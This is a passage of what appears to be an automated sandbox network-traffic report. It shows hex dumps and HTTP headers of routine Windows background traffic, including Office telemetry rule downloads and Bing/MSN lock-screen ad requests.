66 07 0a 4f 6e 39 6f e9 56 34 bc bc 8c d2 22 90 e7 a0 ed c6 3f 2a be 20 64 63 22 85 56 03 82 dd 3d 87 51 f9 d6 15 2b 34 ec 69 1a 6b 73 1a Data Ascii: 1l-,v0A=Iqw{{TZfd&,~>e#2@~uI({Ur%g}$G9D1xR%$\<s\Shq&: 94}j;Y a=zT$J?G20OFPX'>W#U(fOn9oV4"? dc"V=Q+4iks
2024-11-27 10:14:28 UTC	8192	IN	Data Raw: 41 1d 0f d3 db b5 63 47 70 2e ac f6 bc 43 68 60 22 21 b6 e0 0e 30 47 a9 eb c7 7a bb a5 38 b7 bc 2e 23 95 19 71 82 ac 76 b0 1d c9 c1 a1 c5 a8 bb ee 4c 5c 65 53 dd d8 db 85 e4 93 04 6d 8d 43 70 a6 21 bb 38 c1 c6 78 19 f4 c5 43 34 f0 c5 70 d1 4d 1f 41 9d c7 20 fb 0c f5 15 5e 1b f5 32 6f 57 df 13 12 c2 22 03 1c 67 3f 28 eb f8 55 9b c4 fb 7d b9 16 d2 a3 c8 a3 31 91 c3 ff 00 ba 54 8c 9f 4a e6 b5 9e bb 1b bb bd 11 38 48 af 21 70 97 06 48 99 70 f1 be 0b 2f 18 dc 31 c9 c1 aa de 19 f0 42 19 8d de a6 5c a6 ec a5 b8 3c 91 db 71 fe 82 b5 3c 33 a4 35 a5 b2 4b 77 b5 e7 50 40 03 f8 73 ce 0f a9 1f a5 74 76 e3 31 e4 71 9c 75 fa 57 9d 88 c7 4e 17 8d 27 a7 7f f2 3b e8 e0 69 cb 96 55 15 da 0b 58 52 28 d6 38 d0 22 22 61 55 46 00 1e d5 a1 1c 7f bb 03 be 3f fd 75 56 31 99 31 db Data Ascii: AcGp.Ch`"!0Gz8.#qvL\eSmCp!8xC4pMA ^2oW"g?(U}1TJ8H!pHp/1B\<q<35KwP@stv1quWN';iUXR(8""aUF?uV11
2024-11-27 10:14:28 UTC	8192	IN	Data Raw: b4 02 27 83 9e a7 e9 52 c6 a3 cc fe 79 aa f1 9f 9b e9 d2 a7 0d 85 e3 9f 5a ca 47 75 29 26 95 cb 90 ca 4b 04 5e 3e 87 af b9 ad 8d 2d c9 c3 28 dd b4 72 47 d7 a9 ac 48 7b 60 e7 8c b7 1c d6 cd 89 fb 2c 69 2b e4 bb e0 84 c0 ce 08 fb dc ff 00 2f fe b5 71 57 4a c7 ab 46 5d cd db 66 08 a5 4a ab c8 47 f0 f6 f6 cf f8 d4 fb d9 13 60 93 7a b7 5e fc 9e fe c6 b3 ac 6f 63 de 19 b6 ee 93 39 00 9f 98 7a 0f 53 ef 5a 56 88 b9 02 2c ed ce 49 63 9f cb da bc 7a 91 e5 7a 9d d1 77 23 8c ed 9b 68 4e 09 0a a4 92 7a d6 8c 36 98 91 5b 27 6a f0 46 31 9f f1 a9 7e c6 3c b0 a3 1e 63 0c 15 23 92 3d bd a8 98 98 63 11 29 21 b2 17 03 24 83 db a0 c7 ff 00 5a b9 e5 3e 6d 8d 63 1b 0e 69 05 cc 6e a1 3c bd ab cc 84 8e 00 3f d7 f9 d5 69 3c c4 54 49 4e e8 d5 77 06 e0 0c e7 9d d8 fc ea 39 91 c4 87 Data Ascii: 'RyZGu)&K^>-(rGH{`,i+/qWJF]fJG`z^oc9zSZV,Iczzw#hNz6['jF1~<c#=c)!$Z>mcin<?i<TINw9
2024-11-27 10:14:28 UTC	8192	IN	Data Raw: e7 4d 7c 9b 77 03 bb 05 fc 85 33 3b e8 1a 32 97 6b 89 37 7d c8 c2 9f 6c 9c ff 00 4a 9a c4 6c 91 64 39 01 43 9f 6c f4 04 d3 6c 42 a6 95 75 b4 1d d2 4a 17 9e 01 c0 07 8f 6a 7a 48 bb 27 0c 70 a8 aa bf a6 4d 27 ab 64 8f 33 30 d2 e4 60 46 e6 25 47 af 3c 67 f5 a4 bc 2a 21 6c 91 81 80 7f 4a a8 c7 3a 5c 21 cf de 60 47 b6 4e 40 a4 bb 94 2d c8 4e 39 7c 7f 91 42 89 57 2a ea 72 89 de 56 c6 54 10 17 8c e4 0e 72 2a 97 87 2d 05 ee a4 d2 95 d9 16 55 8e e5 23 6a 9c 12 71 53 aa b4 ec ee 99 61 9d b8 1e b5 bd a2 69 e6 d3 49 9b 3c c9 2b 0d e4 7e 27 68 f6 ad 9c 94 62 d1 3c bc d2 3a 29 05 ab e9 32 18 42 88 d1 06 dc 76 50 78 ac 0f 19 5e 14 6b 0b 11 16 c0 09 69 1a 3e 85 88 61 93 ef 80 05 69 b0 8f 4c f0 4d c5 c3 f1 27 92 78 3e e7 20 fe 06 b9 5b 59 9b 51 82 d6 e1 9b 21 d0 8c f5 cf Data Ascii: M\|w3;2k7}lJld9CllBuJjzH'pM'd30`F%G<g!lJ:\!`GN@-N9\|BWrVTr*-U#jqSaiI<+~'hb<:)2BvPx^ki>aiLM'x> [YQ!
2024-11-27 10:14:28 UTC	8192	IN	Data Raw: 47 b8 48 d8 1b 87 38 07 d6 ae db 5a 89 94 95 8c 91 9e 43 74 27 ff 00 ad 52 5c 31 b4 43 1a 38 2c 7b af 6c fa 75 a9 95 66 f4 5b 9a c6 92 5a 95 65 8d e2 53 1c 40 10 3e f9 1d fe 94 89 1c 71 8c 30 da 7a d4 b1 49 2c 0d 97 49 24 6e 46 c8 ce 3f 33 d3 15 0d c3 ee 66 0a 76 a8 e8 a4 8f c6 a5 5f 62 65 60 9a 56 91 cb a2 ed 1b 71 81 c0 3d aa f5 8c 6a 96 db e7 98 88 db 07 e5 50 79 e8 41 ef c5 52 80 93 89 19 63 00 64 1e 79 3e 9c 1f e7 57 21 32 4a db 1d 00 63 8e 83 85 5f 71 de a6 a6 d6 14 16 b7 12 ea d1 87 ef ad 90 35 b0 e1 80 24 71 ea 7e be f5 1c 22 64 70 61 f9 95 7d 24 c2 af e1 eb fa d5 b8 60 6f 2c e7 70 b7 61 fb c3 bb 96 03 d0 7a fd 6a 4b 18 61 56 12 98 37 40 b9 0a a7 39 27 9f bd fe 35 97 b4 b2 d7 52 f9 75 24 5c 3c 19 00 06 3c b9 6e 58 fd 3b e0 d5 9b 19 92 db fd 61 28 Data Ascii: GH8ZCt'R\1C8,{luf[ZeS@>q0zI,I$nF?3fv_be`Vq=jPyARcdy>W!2Jc_q5$q~"dpa}$`o,pazjKaV7@9'5Ru$\<<nX;a(

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:27 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101428Z-174f7845968jrjrxhC1EWRmmrs0000000wxg000000005epv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:28 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101428Z-174f7845968cdxdrhC1EWRg0en0000000wv0000000000zcf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:28 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 80135fc2-701e-001e-3d45-40f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101428Z-174f7845968vqt9xhC1EWRgten0000000wx00000000023vg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:28 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101428Z-174f7845968n2hr8hC1EWR9cag0000000wh0000000000pan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:28 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101428Z-174f78459685726chC1EWRsnbg0000000wrg00000000a7nh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49769	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:29 UTC	370	OUT	GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=6b4959b1f9494f1c9ebec893425386ae&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive
2024-11-27 10:14:29 UTC	862	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=2560C4E62DCB672207BDD1A22CE26611; domain=.bing.com; expires=Mon, 22-Dec-2025 10:14:29 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=g.bing.com; expires=Wed, 04-Dec-2024 10:14:29 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1A2A9B04FEE84BCD9D1E6A8B71A94797 Ref B: EWR30EDGE0215 Ref C: 2024-11-27T10:14:29Z Date: Wed, 27 Nov 2024 10:14:29 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49768	20.74.19.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:29 UTC	2638	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T101425Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=f266f4e9f3514464b655992de44a5f5c&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=603596&metered=false&nettype=ethernet&npid=sc-338387&oemName=ydtcub%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=ydtcub20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=603596&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=531174684,531174684,531174684&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUrcI4V7J+7x3Dx6p5/vW5Szm8WopEaQNehptp02OIzD0IC7D3e2+wXq6yvFa5Qq4mGQ77MqkmBq/MipuHZuA4if2KbgXvGMyPbAWGnW8Nisw+QCJc0IRf8cnbIvDaBXYshMmR0nijw3RoCP/+qAKKHAQllcL4vOrEc85xyV8KuwtkQWA5dbvtuoc36DyAG5QJt/XqhON5QlO57jUrU6y2oJg+0vYvi4e6+xNxrr/JrLOJtqAuwB+D+r5LwcAslaMovS/GFQp9HNcNU0iSK2mtM09nWAi4NiFI8p9WR8sTpHmBr8F+UExd2E0PxdDa5LSEx6UiB3hrT4jtNrIcadq5oQZgAAEKkSpT9aWgfhvqnF1BWQ9VWwAeQK9f5+3AMy/FZblC2U7SFNGB0+zFfJaOGUEYsa685onfY84z/26ZhruwPzBXuEuEb9IoQYBUEgfcwDEnXaORKjUeqlFyvdu/CLbdNsKtr+Kdx/zbJ8Zr57djpvQLwByu1lisJgo8F1Bz3jdyjX6UvhxIrnU4VpclIkjxUvKmXUfEzaW2RuRKZrNI4FG4+d321m2ljvBh4DeHvxAfRNbE0eUpJ9QYH9weckXF5qJdcwR7qMv37njMTTZXtaMy555de3G79VBSyFnza5Bti5YUWX1mQa39LCzxJQ+s8H5EK3eR++G0wbzgtC26AzlGsM7ItfRDf8KDaDgOmr2jaQbqtYuM0ut4JJI3vAaOQk0Xnky/+S86IY8XcRuesZER1VNGVAa6C6KgGqOiwOJSmSFiU/Mgh9EK24yg0NQ3NbA+iFYzo0pv0Jf2kWas4y4sAsMFoaCWtpqS0mhR4wyEobuT1If4unxXZyfLFQhybF95RHUsfFA9snqdDz5XauMnYhDZkp9zwKyH1UQYASlg/0WnQsz14cTjG5vsDCF0GqIcjB+3ES4DlaDFJHMkXMBUqq99cB&p= Cache-Control: no-cache MS-CV: 6wxuFIv5xEGgLuYt.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-27 10:14:29 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23585 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: mMQDmRwayOqpvSByN3V9fb+EG36nNJbfsKahp91rUtGS/3WTT3CYWjhimpj8PiGaRl0uIxwYu/TV/Tl6qMRvyol7yRU+lDlrzGcVas4kmqOEad8g2S+SBjBWGj8VEcMoHcNiSh4ApNcBGZuxDRBQbi4fCBhdc7MJNZ+JeMigtNOPPIy6bmSE1xdSWp7okHnzivxoXhlXPE2qYHtb+Uz2843jwV/+QTB1SLewV3XiSbIC1BW31JzTAec5HB1wxrWV7d6bHo8O0Mn2RStFxWf75J5E/w+1S9k9Z09yFkUPiyHBxDpKpOjeGvBSAwBL3m+RtKAU2LHFri/u8Hh+ZKhLdw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 10:14:29 GMT Connection: close
2024-11-27 10:14:29 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-27 10:14:29 UTC	8016	IN	Data Raw: 3d 36 39 36 36 35 35 35 33 32 30 39 31 32 37 33 35 5c 5c 75 30 30 32 36 61 6e 69 64 3d 44 41 31 38 43 38 38 32 35 33 35 36 42 41 43 34 45 37 42 32 33 30 36 36 46 46 46 46 46 46 46 46 5c 22 2c 5c 22 65 69 64 5c 22 3a 7b 5c 22 74 5c 22 3a 5c 22 74 78 74 5c 22 2c 5c 22 74 78 5c 22 3a 5c 22 55 32 56 68 63 6d 4e 6f 51 57 51 6a 4f 44 51 34 4d 44 41 7a 4f 54 45 32 4d 54 55 77 4e 54 55 6a 4d 6a 4d 7a 4e 6a 55 35 4f 54 59 30 4f 44 63 78 4e 54 55 79 4d 67 3d 3d 5c 22 7d 2c 5c 22 5f 66 6c 69 67 68 74 5c 22 3a 5c 22 5c 22 7d 7d 22 7d 2c 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 Data Ascii: =6966555320912735\\u0026anid=DA18C8825356BAC4E7B23066FFFFFFFF\",\"eid\":{\"t\":\"txt\",\"tx\":\"U2VhcmNoQWQjODQ4MDAzOTE2MTUwNTUjMjMzNjU5OTY0ODcxNTUyMg==\"},\"_flight\":\"\"}}"},{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"Subscrib

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49771	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
